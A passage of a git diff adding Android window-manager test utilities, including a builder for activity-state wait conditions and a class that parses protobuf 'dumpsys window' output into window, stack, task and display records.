+                mObserver.openTransaction();
+                nextCmd(d);
+                break;
+            case "CloseTransaction":
+                mObserver.closeTransaction();
+                nextCmd(d);
+                break;
+            default:
+                fail("Unexpected surface command: " + cmd);
+                break;
+        }
+    }
+}
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/WaitForValidActivityState.java b/tests/framework/base/activitymanager/util/src/android/server/am/WaitForValidActivityState.java
new file mode 100644
index 0000000..ba5ca49
--- /dev/null
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/WaitForValidActivityState.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.ActivityManager.StackId.INVALID_STACK_ID;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+
+import android.content.ComponentName;
+
+public class WaitForValidActivityState {
+    public final ComponentName componentName;
+    /** Use {@link #componentName}. */
+    @Deprecated
+    public final String activityName;
+    public final int stackId;
+    public final int windowingMode;
+    public final int activityType;
+
+    public WaitForValidActivityState(final ComponentName activityName) {
+        this.componentName = activityName;
+        this.activityName = activityName.getShortClassName();
+        this.stackId = INVALID_STACK_ID;
+        this.windowingMode = WINDOWING_MODE_UNDEFINED;
+        this.activityType = ACTIVITY_TYPE_UNDEFINED;
+    }
+
+    /** Use {@link #WaitForValidActivityState(ComponentName)}. */
+    @Deprecated
+    public WaitForValidActivityState(String activityName) {
+        this.componentName = null;
+        this.activityName = activityName;
+        this.stackId = INVALID_STACK_ID;
+        this.windowingMode = WINDOWING_MODE_UNDEFINED;
+        this.activityType = ACTIVITY_TYPE_UNDEFINED;
+    }
+
+    private WaitForValidActivityState(final Builder builder) {
+        this.componentName = builder.mComponentName;
+        this.activityName = builder.mActivityName;
+        this.stackId = builder.mStackId;
+        this.windowingMode = builder.mWindowingMode;
+        this.activityType = builder.mActivityType;
+    }
+
+    public static class Builder {
+        private ComponentName mComponentName = null;
+        private String mActivityName = null;
+        private int mStackId = INVALID_STACK_ID;
+        private int mWindowingMode = WINDOWING_MODE_UNDEFINED;
+        private int mActivityType = ACTIVITY_TYPE_UNDEFINED;
+
+        public Builder() {}
+
+        public Builder(final ComponentName activityName) {
+            mComponentName = activityName;
+            mActivityName = activityName.getShortClassName();
+        }
+
+        /** Use {@link #Builder(ComponentName)}. */
+        @Deprecated
+        public Builder(String activityName) {
+            mActivityName = activityName;
+        }
+
+        public Builder setActivityName(final ComponentName activityName) {
+            mComponentName = activityName;
+            mActivityName = activityName.getShortClassName();
+            return this;
+        }
+
+        /** Use {@link #setActivityName(ComponentName)}. */
+        @Deprecated
+        public Builder setActivityName(String activityName) {
+            mActivityName = activityName;
+            return this;
+        }
+
+        public Builder setStackId(int stackId) {
+            mStackId = stackId;
+            return this;
+        }
+
+        public Builder setWindowingMode(int windowingMode) {
+            mWindowingMode = windowingMode;
+            return this;
+        }
+
+        public Builder setActivityType(int activityType) {
+            mActivityType = activityType;
+            return this;
+        }
+
+        public WaitForValidActivityState build() {
+            return new WaitForValidActivityState(this);
+        }
+    }
+}
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java b/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java
new file mode 100644
index 0000000..28b0fda
--- /dev/null
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java
@@ -0,0 +1,924 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.view.Display.DEFAULT_DISPLAY;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+import static android.server.am.ProtoExtractors.extract;
+import static android.server.am.StateLogger.log;
+import static android.server.am.StateLogger.logE;
+
+import static org.junit.Assert.fail;
+
+import android.content.res.Configuration;
+import android.graphics.Rect;
+import android.os.ParcelFileDescriptor;
+import android.support.test.InstrumentationRegistry;
+import android.view.nano.DisplayInfoProto;
+
+import com.android.server.wm.proto.nano.DisplayFramesProto;
+import com.android.server.wm.proto.nano.AppTransitionProto;
+import com.android.server.wm.proto.nano.AppWindowTokenProto;
+import com.android.server.wm.proto.nano.ConfigurationContainerProto;
+import com.android.server.wm.proto.nano.DisplayProto;
+import com.android.server.wm.proto.nano.IdentifierProto;
+import com.android.server.wm.proto.nano.PinnedStackControllerProto;
+import com.android.server.wm.proto.nano.StackProto;
+import com.android.server.wm.proto.nano.TaskProto;
+import com.android.server.wm.proto.nano.WindowContainerProto;
+import com.android.server.wm.proto.nano.WindowManagerServiceProto;
+import com.android.server.wm.proto.nano.WindowStateAnimatorProto;
+import com.android.server.wm.proto.nano.WindowStateProto;
+import com.android.server.wm.proto.nano.WindowSurfaceControllerProto;
+import com.android.server.wm.proto.nano.WindowTokenProto;
+
+import com.google.protobuf.nano.InvalidProtocolBufferNanoException;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
+import java.util.Comparator;
+import java.util.HashMap;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+
+public class WindowManagerState {
+    public static final String TRANSIT_ACTIVITY_OPEN = "TRANSIT_ACTIVITY_OPEN";
+    public static final String TRANSIT_ACTIVITY_CLOSE = "TRANSIT_ACTIVITY_CLOSE";
+    public static final String TRANSIT_TASK_OPEN = "TRANSIT_TASK_OPEN";
+    public static final String TRANSIT_TASK_CLOSE = "TRANSIT_TASK_CLOSE";
+
+    public static final String TRANSIT_WALLPAPER_OPEN = "TRANSIT_WALLPAPER_OPEN";
+    public static final String TRANSIT_WALLPAPER_CLOSE = "TRANSIT_WALLPAPER_CLOSE";
+    public static final String TRANSIT_WALLPAPER_INTRA_OPEN = "TRANSIT_WALLPAPER_INTRA_OPEN";
+    public static final String TRANSIT_WALLPAPER_INTRA_CLOSE = "TRANSIT_WALLPAPER_INTRA_CLOSE";
+
+    public static final String TRANSIT_KEYGUARD_GOING_AWAY = "TRANSIT_KEYGUARD_GOING_AWAY";
+    public static final String TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER =
+            "TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER";
+    public static final String TRANSIT_KEYGUARD_OCCLUDE = "TRANSIT_KEYGUARD_OCCLUDE";
+    public static final String TRANSIT_KEYGUARD_UNOCCLUDE = "TRANSIT_KEYGUARD_UNOCCLUDE";
+
+    public static final String APP_STATE_IDLE = "APP_STATE_IDLE";
+
+    private static final String DUMPSYS_WINDOW = "dumpsys window -a --proto";
+
+    private static final String STARTING_WINDOW_PREFIX = "Starting ";
+    private static final String DEBUGGER_WINDOW_PREFIX = "Waiting For Debugger: ";
+
+    // Windows in z-order with the top most at the front of the list.
+    private List<WindowState> mWindowStates = new ArrayList();
+    // Stacks in z-order with the top most at the front of the list, starting with primary display.
+    private final List<WindowStack> mStacks = new ArrayList();
+    // Stacks on all attached displays, in z-order with the top most at the front of the list.
+    private final Map<Integer, List<WindowStack>> mDisplayStacks
+            = new HashMap<>();
+    private List<Display> mDisplays = new ArrayList();
+    private String mFocusedWindow = null;
+    private String mFocusedApp = null;
+    private String mLastTransition = null;
+    private String mAppTransitionState = null;
+    private String mInputMethodWindowAppToken = null;
+    private Rect mDefaultPinnedStackBounds = new Rect();
+    private Rect mPinnedStackMovementBounds = new Rect();
+    private final LinkedList<String> mSysDump = new LinkedList();
+    private int mRotation;
+    private int mLastOrientation;
+    private boolean mDisplayFrozen;
+    private boolean mIsDockedStackMinimized;
+
+    public void computeState() {
+        // It is possible the system is in the middle of transition to the right state when we get
+        // the dump. We try a few times to get the information we need before giving up.
+        int retriesLeft = 3;
+        boolean retry = false;
+        byte[] dump = null;
+
+        log("==============================");
+        log("      WindowManagerState      ");
+        log("==============================");
+        do {
+            if (retry) {
+                log("***Incomplete WM state. Retrying...");
+                // Wait half a second between retries for window manager to finish transitioning...
+                try {
+                    Thread.sleep(500);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                    // Well I guess we are not waiting...
+                }
+            }
+
+            dump = executeShellCommand(DUMPSYS_WINDOW);
+            try {
+                parseSysDumpProto(dump);
+            } catch (InvalidProtocolBufferNanoException ex) {
+                throw new RuntimeException("Failed to parse dumpsys:\n"
+                        + new String(dump, StandardCharsets.UTF_8), ex);
+            }
+
+            retry = mWindowStates.isEmpty() || mFocusedApp == null;
+        } while (retry && retriesLeft-- > 0);
+
+        if (mWindowStates.isEmpty()) {
+            logE("No Windows found...");
+        }
+        if (mFocusedWindow == null) {
+            logE("No Focused Window...");
+        }
+        if (mFocusedApp == null) {
+            logE("No Focused App...");
+        }
+    }
+
+    private byte[] executeShellCommand(String cmd) {
+        try {
+            ParcelFileDescriptor pfd =
+                    InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                            .executeShellCommand(cmd);
+            byte[] buf = new byte[512];
+            int bytesRead;
+            FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
+            ByteArrayOutputStream stdout = new ByteArrayOutputStream();
+            while ((bytesRead = fis.read(buf)) != -1) {
+                stdout.write(buf, 0, bytesRead);
+            }
+            fis.close();
+            return stdout.toByteArray();
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+
+    private void parseSysDumpProto(byte[] sysDump) throws InvalidProtocolBufferNanoException {
+        reset();
+        WindowManagerServiceProto state = WindowManagerServiceProto.parseFrom(sysDump);
+        List<WindowState> allWindows = new ArrayList<>();
+        Map<String, WindowState> windowMap = new HashMap<>();
+        if (state.focusedWindow != null) {
+            mFocusedWindow = state.focusedWindow.title;
+        }
+        mFocusedApp = state.focusedApp;
+        for (int i = 0; i < state.rootWindowContainer.displays.length; i++) {
+            DisplayProto displayProto = state.rootWindowContainer.displays[i];
+            final Display display = new Display(displayProto);
+            mDisplays.add(display);
+            allWindows.addAll(display.getWindows());
+            List<WindowStack> stacks = new ArrayList<>();
+            for (int j = 0; j < displayProto.stacks.length; j++) {
+                StackProto stackProto = displayProto.stacks[j];
+                final WindowStack stack = new WindowStack(stackProto);
+                mStacks.add(stack);
+                stacks.add(stack);
+                allWindows.addAll(stack.getWindows());
+            }
+            mDisplayStacks.put(display.mDisplayId, stacks);
+
+            // use properties from the default display only
+            if (display.getDisplayId() == DEFAULT_DISPLAY) {
+                if (displayProto.dockedStackDividerController != null) {
+                    mIsDockedStackMinimized =
+                            displayProto.dockedStackDividerController.minimizedDock;
+                }
+                PinnedStackControllerProto pinnedStackProto = displayProto.pinnedStackController;
+                if (pinnedStackProto != null) {
+                    mDefaultPinnedStackBounds = extract(pinnedStackProto.defaultBounds);
+                    mPinnedStackMovementBounds = extract(pinnedStackProto.movementBounds);
+                }
+            }
+        }
+        for (WindowState w : allWindows) {
+            windowMap.put(w.getToken(), w);
+        }
+        for (int i = 0; i < state.rootWindowContainer.windows.length; i++) {
+            IdentifierProto identifierProto = state.rootWindowContainer.windows[i];
+            String hash_code = Integer.toHexString(identifierProto.hashCode);
+            mWindowStates.add(windowMap.get(hash_code));
+        }
+        if (state.inputMethodWindow != null) {
+            mInputMethodWindowAppToken = Integer.toHexString(state.inputMethodWindow.hashCode);
+        }
+        mDisplayFrozen = state.displayFrozen;
+        mRotation = state.rotation;
+        mLastOrientation = state.lastOrientation;
+        AppTransitionProto appTransitionProto = state.appTransition;
+        int appState = 0;
+        int lastTransition = 0;
+        if (appTransitionProto != null) {
+            appState = appTransitionProto.appTransitionState;
+            lastTransition = appTransitionProto.lastUsedAppTransition;
+        }
+        mAppTransitionState = appStateToString(appState);
+        mLastTransition = appTransitionToString(lastTransition);
+    }
+
+    static String appStateToString(int appState) {
+        switch (appState) {
+            case AppTransitionProto.APP_STATE_IDLE:
+                return "APP_STATE_IDLE";
+            case AppTransitionProto.APP_STATE_READY:
+                return "APP_STATE_READY";
+            case AppTransitionProto.APP_STATE_RUNNING:
+                return "APP_STATE_RUNNING";
+            case AppTransitionProto.APP_STATE_TIMEOUT:
+                return "APP_STATE_TIMEOUT";
+            default:
+                fail("Invalid AppTransitionState");
+                return null;
+        }
+    }
+
+    static String appTransitionToString(int transition) {
+        switch (transition) {
+            case AppTransitionProto.TRANSIT_UNSET: {
+                return "TRANSIT_UNSET";
+            }
+            case AppTransitionProto.TRANSIT_NONE: {
+                return "TRANSIT_NONE";
+            }
+            case AppTransitionProto.TRANSIT_ACTIVITY_OPEN: {
+                return TRANSIT_ACTIVITY_OPEN;
+            }
+            case AppTransitionProto.TRANSIT_ACTIVITY_CLOSE: {
+                return TRANSIT_ACTIVITY_CLOSE;
+            }
+            case AppTransitionProto.TRANSIT_TASK_OPEN: {
+                return TRANSIT_TASK_OPEN;
+            }
+            case AppTransitionProto.TRANSIT_TASK_CLOSE: {
+                return TRANSIT_TASK_CLOSE;
+            }
+            case AppTransitionProto.TRANSIT_TASK_TO_FRONT: {
+                return "TRANSIT_TASK_TO_FRONT";
+            }
+            case AppTransitionProto.TRANSIT_TASK_TO_BACK: {
+                return "TRANSIT_TASK_TO_BACK";
+            }
+            case AppTransitionProto.TRANSIT_WALLPAPER_CLOSE: {
+                return TRANSIT_WALLPAPER_CLOSE;
+            }
+            case AppTransitionProto.TRANSIT_WALLPAPER_OPEN: {
+                return TRANSIT_WALLPAPER_OPEN;
+            }
+            case AppTransitionProto.TRANSIT_WALLPAPER_INTRA_OPEN: {
+                return TRANSIT_WALLPAPER_INTRA_OPEN;
+            }
+            case AppTransitionProto.TRANSIT_WALLPAPER_INTRA_CLOSE: {
+                return TRANSIT_WALLPAPER_INTRA_CLOSE;
+            }
+            case AppTransitionProto.TRANSIT_TASK_OPEN_BEHIND: {
+                return "TRANSIT_TASK_OPEN_BEHIND";
+            }
+            case AppTransitionProto.TRANSIT_ACTIVITY_RELAUNCH: {
+                return "TRANSIT_ACTIVITY_RELAUNCH";
+            }
+            case AppTransitionProto.TRANSIT_DOCK_TASK_FROM_RECENTS: {
+                return "TRANSIT_DOCK_TASK_FROM_RECENTS";
+            }
+            case AppTransitionProto.TRANSIT_KEYGUARD_GOING_AWAY: {
+                return TRANSIT_KEYGUARD_GOING_AWAY;
+            }
+            case AppTransitionProto.TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER: {
+                return TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER;
+            }
+            case AppTransitionProto.TRANSIT_KEYGUARD_OCCLUDE: {
+                return TRANSIT_KEYGUARD_OCCLUDE;
+            }
+            case AppTransitionProto.TRANSIT_KEYGUARD_UNOCCLUDE: {
+                return TRANSIT_KEYGUARD_UNOCCLUDE;
+            }
+            default: {
+                fail("Invalid lastUsedAppTransition");
+                return null;
+            }
+        }
+    }
+
+    void getMatchingWindowTokens(final String windowName, List<String> tokenList) {
+        tokenList.clear();
+
+        for (WindowState ws : mWindowStates) {
+            if (windowName.equals(ws.getName())) {
+                tokenList.add(ws.getToken());
+            }
+        }
+    }
+
+    public void getMatchingVisibleWindowState(final String windowName, List<WindowState> windowList) {
+        windowList.clear();
+        for (WindowState ws : mWindowStates) {
+            if (ws.isShown() && windowName.equals(ws.getName())) {
+                windowList.add(ws);
+            }
+        }
+    }
+
+    public void getPrefixMatchingVisibleWindowState(final String windowName,
+            List<WindowState> windowList) {
+        windowList.clear();
+        for (WindowState ws : mWindowStates) {
+            if (ws.isShown() && ws.getName().startsWith(windowName)) {
+                windowList.add(ws);
+            }
+        }
+    }
+
+    public WindowState getWindowByPackageName(String packageName, int windowType) {
+        for (WindowState ws : mWindowStates) {
+            final String name = ws.getName();
+            if (name == null || !name.contains(packageName)) {
+                continue;
+            }
+            if (windowType != ws.getType()) {
+                continue;
+            }
+            return ws;
+        }
+
+        return null;
+    }
+
+    public void getWindowsByPackageName(String packageName, List<Integer> restrictToTypeList,
+            List<WindowState> outWindowList) {
+        outWindowList.clear();
+        for (WindowState ws : mWindowStates) {
+            final String name = ws.getName();
+            if (name == null || !name.contains(packageName)) {
+                continue;
+            }
+            if (restrictToTypeList != null && !restrictToTypeList.contains(ws.getType())) {
+                continue;
+            }
+            outWindowList.add(ws);
+        }
+    }
+
+    WindowState getWindowStateForAppToken(String appToken) {
+        for (WindowState ws : mWindowStates) {
+            if (ws.getToken().equals(appToken)) {
+                return ws;
+            }
+        }
+        return null;
+    }
+
+    Display getDisplay(int displayId) {
+        for (Display display : mDisplays) {
+            if (displayId == display.getDisplayId()) {
+                return display;
+            }
+        }
+        return null;
+    }
+
+    String getFrontWindow() {
+        if (mWindowStates == null || mWindowStates.isEmpty()) {
+            return null;
+        }
+        return mWindowStates.get(0).getName();
+    }
+
+    public String getFocusedWindow() {
+        return mFocusedWindow;
+    }
+
+    String getFocusedApp() {
+        return mFocusedApp;
+    }
+
+    String getLastTransition() {
+        return mLastTransition;
+    }
+
+    String getAppTransitionState() {
+        return mAppTransitionState;
+    }
+
+    int getFrontStackId(int displayId) {
+        return mDisplayStacks.get(displayId).get(0).mStackId;
+    }
+
+    int getFrontStackActivityType(int displayId) {
+        return mDisplayStacks.get(displayId).get(0).getActivityType();
+    }
+
+    public int getRotation() {
+        return mRotation;
+    }
+
+    int getLastOrientation() {
+        return mLastOrientation;
+    }
+
+    boolean containsStack(int stackId) {
+        for (WindowStack stack : mStacks) {
+            if (stackId == stack.mStackId) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    boolean containsStack(int windowingMode, int activityType) {
+        for (WindowStack stack : mStacks) {
+            if (activityType != ACTIVITY_TYPE_UNDEFINED
+                    && activityType != stack.getActivityType()) {
+                continue;
+            }
+            if (windowingMode != WINDOWING_MODE_UNDEFINED
+                    && windowingMode != stack.getWindowingMode()) {
+                continue;
+            }
+            return true;
+        }
+        return false;
+    }
+
+    /**
+     * Check if there exists a window record with matching windowName.
+     */
+    boolean containsWindow(String windowName) {
+        for (WindowState window : mWindowStates) {
+            if (window.getName().equals(windowName)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /**
+     * Check if at least one window which matches provided window name is visible.
+     */
+    boolean isWindowVisible(String windowName) {
+        for (WindowState window : mWindowStates) {
+            if (window.getName().equals(windowName)) {
+                if (window.isShown()) {
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+    boolean allWindowsVisible(String windowName) {
+        boolean allVisible = false;
+        for (WindowState window : mWindowStates) {
+            if (window.getName().equals(windowName)) {
+                if (!window.isShown()) {
+                    log("[VISIBLE] not visible" + windowName);
+                    return false;
+                }
+                log("[VISIBLE] visible" + windowName);
+                allVisible = true;
+            }
+        }
+        return allVisible;
+    }
+
+    WindowStack getStack(int stackId) {
+        for (WindowStack stack : mStacks) {
+            if (stackId == stack.mStackId) {
+                return stack;
+            }
+        }
+        return null;
+    }
+
+    WindowStack getStandardStackByWindowingMode(int windowingMode) {
+        for (WindowStack stack : mStacks) {
+            if (stack.getActivityType() != ACTIVITY_TYPE_STANDARD) {
+                continue;
+            }
+            if (stack.getWindowingMode() == windowingMode) {
+                return stack;
+            }
+        }
+        return null;
+    }
+
+    int getStackIndexByActivityType(int activityType) {
+        for (int i = 0; i < mStacks.size(); i++) {
+            if (activityType == mStacks.get(i).getActivityType()) {
+                return i;
+            }
+        }
+        return -1;
+    }
+
+    WindowState getInputMethodWindowState() {
+        return getWindowStateForAppToken(mInputMethodWindowAppToken);
+    }
+
+    Rect getStableBounds() {
+        return getDisplay(DEFAULT_DISPLAY).mStableBounds;
+    }
+
+    Rect getDefaultPinnedStackBounds() {
+        return mDefaultPinnedStackBounds;
+    }
+
+    Rect getPinnedStackMomentBounds() {
+        return mPinnedStackMovementBounds;
+    }
+
+    WindowState findFirstWindowWithType(int type) {
+        for (WindowState window : mWindowStates) {
+            if (window.getType() == type) {
+                return window;
+            }
+        }
+        return null;
+    }
+
+    public boolean isDisplayFrozen() {
+        return mDisplayFrozen;
+    }
+
+    public boolean isDockedStackMinimized() {
+        return mIsDockedStackMinimized;
+    }
+
+    public int getZOrder(WindowState w) {
+        return mWindowStates.indexOf(w);
+    }
+
+    private void reset() {
+        mSysDump.clear();
+        mStacks.clear();
+        mDisplays.clear();
+        mWindowStates.clear();
+        mDisplayStacks.clear();
+        mFocusedWindow = null;
+        mFocusedApp = null;
+        mLastTransition = null;
+        mInputMethodWindowAppToken = null;
+        mIsDockedStackMinimized = false;
+        mDefaultPinnedStackBounds.setEmpty();
+        mPinnedStackMovementBounds.setEmpty();
+        mRotation = 0;
+        mLastOrientation = 0;
+        mDisplayFrozen = false;
+    }
+
+    class WindowStack extends WindowContainer {
+
+        int mStackId;
+        ArrayList<WindowTask> mTasks = new ArrayList();
+        boolean mWindowAnimationBackgroundSurfaceShowing;
+
+        WindowStack(StackProto proto) {
+            super(proto.windowContainer);
+            mStackId = proto.id;
+            mFullscreen = proto.fillsParent;
+            mBounds = extract(proto.bounds);
+            for (int i = 0; i < proto.tasks.length; i++) {
+                TaskProto taskProto = proto.tasks[i];
+                WindowTask task = new WindowTask(taskProto);
+                mTasks.add(task);
+                mSubWindows.addAll(task.getWindows());
+            }
+            mWindowAnimationBackgroundSurfaceShowing = proto.animationBackgroundSurfaceIsDimming;
+        }
+
+        WindowTask getTask(int taskId) {
+            for (WindowTask task : mTasks) {
+                if (taskId == task.mTaskId) {
+                    return task;
+                }
+            }
+            return null;
+        }
+
+        boolean isWindowAnimationBackgroundSurfaceShowing() {
+            return mWindowAnimationBackgroundSurfaceShowing;
+        }
+    }
+
+    class WindowTask extends WindowContainer {
+
+        int mTaskId;
+        Rect mTempInsetBounds;
+        List<String> mAppTokens = new ArrayList();
+
+        WindowTask(TaskProto proto) {
+            super(proto.windowContainer);
+            mTaskId = proto.id;
+            mFullscreen = proto.fillsParent;
+            mBounds = extract(proto.bounds);
+            for (int i = 0; i < proto.appWindowTokens.length; i++) {
+                AppWindowTokenProto appWindowTokenProto = proto.appWindowTokens[i];
+                mAppTokens.add(appWindowTokenProto.name);
+                WindowTokenProto windowTokenProto = appWindowTokenProto.windowToken;
+                for (int j = 0; j < windowTokenProto.windows.length; j++) {
+                    WindowStateProto windowProto = windowTokenProto.windows[j];
+                    WindowState window = new WindowState(windowProto);
+                    mSubWindows.add(window);
+                    mSubWindows.addAll(window.getWindows());
+                }
+            }
+            mTempInsetBounds = extract(proto.tempInsetBounds);
+        }
+    }
+
+    static class ConfigurationContainer {
+        final Configuration mOverrideConfiguration = new Configuration();
+        final Configuration mFullConfiguration = new Configuration();
+        final Configuration mMergedOverrideConfiguration = new Configuration();
+
+        ConfigurationContainer(ConfigurationContainerProto proto) {
+            if (proto == null) {
+                return;
+            }
+            mOverrideConfiguration.setTo(extract(proto.overrideConfiguration));
+            mFullConfiguration.setTo(extract(proto.fullConfiguration));
+            mMergedOverrideConfiguration.setTo(extract(proto.mergedOverrideConfiguration));
+        }
+
+        int getWindowingMode() {
+            if (mFullConfiguration == null) {
+                return WINDOWING_MODE_UNDEFINED;
+            }
+            return mFullConfiguration.windowConfiguration.getWindowingMode();
+        }
+
+        int getActivityType() {
+            if (mFullConfiguration == null) {
+                return ACTIVITY_TYPE_UNDEFINED;
+            }
+            return mFullConfiguration.windowConfiguration.getActivityType();
+        }
+    }
+
+    abstract class WindowContainer extends ConfigurationContainer {
+
+        protected boolean mFullscreen;
+        protected Rect mBounds;
+        protected int mOrientation;
+        protected List<WindowState> mSubWindows = new ArrayList<>();
+
+        WindowContainer(WindowContainerProto proto) {
+            super(proto.configurationContainer);
+            mOrientation = proto.orientation;
+        }
+
+        Rect getBounds() {
+            return mBounds;
+        }
+
+        boolean isFullscreen() {
+            return mFullscreen;
+        }
+
+        List<WindowState> getWindows() {
+            return mSubWindows;
+        }
+    }
+
+    class Display extends WindowContainer {
+
+        private final int mDisplayId;
+        private Rect mDisplayRect = new Rect();
+        private Rect mAppRect = new Rect();
+        private int mDpi;
+        private Rect mStableBounds;
+
+        public Display(DisplayProto proto) {
+            super(proto.windowContainer);
+            mDisplayId = proto.id;
+            for (int i = 0; i < proto.aboveAppWindows.length; i++) {
+                addWindowsFromTokenProto(proto.aboveAppWindows[i]);
+            }
+            for (int i = 0; i < proto.belowAppWindows.length; i++) {
+                addWindowsFromTokenProto(proto.belowAppWindows[i]);
+            }
+            for (int i = 0; i < proto.imeWindows.length; i++) {
+                addWindowsFromTokenProto(proto.imeWindows[i]);
+            }
+            mDpi = proto.dpi;
+            DisplayInfoProto infoProto = proto.displayInfo;
+            if (infoProto != null) {
+                mDisplayRect.set(0, 0, infoProto.logicalWidth, infoProto.logicalHeight);
+                mAppRect.set(0, 0, infoProto.logicalWidth, infoProto.logicalHeight);
+            }
+            final DisplayFramesProto displayFramesProto = proto.displayFrames;
+            if (displayFramesProto != null) {
+                mStableBounds = extract(displayFramesProto.stableBounds);
+            }
+        }
+
+        private void addWindowsFromTokenProto(WindowTokenProto proto) {
+            for (int j = 0; j < proto.windows.length; j++) {
+                WindowStateProto windowProto = proto.windows[j];
+                WindowState childWindow = new WindowState(windowProto);
+                mSubWindows.add(childWindow);
+                mSubWindows.addAll(childWindow.getWindows());
+            }
+        }
+
+        int getDisplayId() {
+            return mDisplayId;
+        }
+
+        int getDpi() {
+            return mDpi;
+        }
+
+        Rect getDisplayRect() {
+            return mDisplayRect;
+        }
+
+        Rect getAppRect() {
+            return mAppRect;
+        }
+
+        @Override
+        public String toString() {
+            return "Display #" + mDisplayId + ": mDisplayRect=" + mDisplayRect
+                    + " mAppRect=" + mAppRect;
+        }
+    }
+
+    public class WindowState extends WindowContainer {
+
+        private static final int WINDOW_TYPE_NORMAL = 0;
+        private static final int WINDOW_TYPE_STARTING = 1;
+        private static final int WINDOW_TYPE_EXITING = 2;
+        private static final int WINDOW_TYPE_DEBUGGER = 3;
+
+        private String mName;
+        private final String mAppToken;
+        private final int mWindowType;
+        private int mType = 0;
+        private int mDisplayId;
+        private int mStackId;
+        private int mLayer;
+        private boolean mShown;
+        private Rect mContainingFrame = new Rect();
+        private Rect mParentFrame = new Rect();
+        private Rect mContentFrame = new Rect();
+        private Rect mFrame = new Rect();
+        private Rect mSurfaceInsets = new Rect();
+        private Rect mContentInsets = new Rect();
+        private Rect mGivenContentInsets = new Rect();
+        private Rect mCrop = new Rect();
+
+        WindowState(WindowStateProto proto) {
+            super(proto.windowContainer);
+            IdentifierProto identifierProto = proto.identifier;
+            mName = identifierProto.title;
+            mAppToken = Integer.toHexString(identifierProto.hashCode);
+            mDisplayId = proto.displayId;
+            mStackId = proto.stackId;
+            if (proto.attributes != null) {
+                mType = proto.attributes.type;
+            }
+            WindowStateAnimatorProto animatorProto = proto.animator;
+            if (animatorProto != null) {
+                if (animatorProto.surface != null) {
+                    WindowSurfaceControllerProto surfaceProto = animatorProto.surface;
+                    mShown = surfaceProto.shown;
+                    mLayer = surfaceProto.layer;
+                }
+                mCrop = extract(animatorProto.lastClipRect);
+            }
+            mGivenContentInsets = extract(proto.givenContentInsets);
+            mFrame = extract(proto.frame);
+            mContainingFrame = extract(proto.containingFrame);
+            mParentFrame = extract(proto.parentFrame);
+            mContentFrame = extract(proto.contentFrame);
+            mContentInsets = extract(proto.contentInsets);
+            mSurfaceInsets = extract(proto.surfaceInsets);
+            if (mName.startsWith(STARTING_WINDOW_PREFIX)) {
+                mWindowType = WINDOW_TYPE_STARTING;
+                // Existing code depends on the prefix being removed
+                mName = mName.substring(STARTING_WINDOW_PREFIX.length());
+            } else if (proto.animatingExit) {
+                mWindowType = WINDOW_TYPE_EXITING;
+            } else if (mName.startsWith(DEBUGGER_WINDOW_PREFIX)) {
+                mWindowType = WINDOW_TYPE_STARTING;
+                mName = mName.substring(DEBUGGER_WINDOW_PREFIX.length());
+            } else {
+                mWindowType = 0;
+            }
+            for (int i = 0; i < proto.childWindows.length; i++) {
+                WindowStateProto childProto = proto.childWindows[i];
+                WindowState childWindow = new WindowState(childProto);
+                mSubWindows.add(childWindow);
+                mSubWindows.addAll(childWindow.getWindows());
+            }
+        }
+
+        public String getName() {
+            return mName;
+        }
+
+        String getToken() {
+            return mAppToken;
+        }
+
+        boolean isStartingWindow() {
+            return mWindowType == WINDOW_TYPE_STARTING;
+        }
+
+        boolean isExitingWindow() {
+            return mWindowType == WINDOW_TYPE_EXITING;
+        }
+
+        boolean isDebuggerWindow() {
+            return mWindowType == WINDOW_TYPE_DEBUGGER;
+        }
+
+        int getDisplayId() {
+            return mDisplayId;
+        }
+
+        int getStackId() {
+            return mStackId;
+        }
+
+        public int getZOrder() {
+            return mWindowStates.size() - mWindowStates.indexOf(this);
+        }
+
+        Rect getContainingFrame() {
+            return mContainingFrame;
+        }
+
+        public Rect getFrame() {
+            return mFrame;
+        }
+
+        Rect getSurfaceInsets() {
+            return mSurfaceInsets;
+        }
+
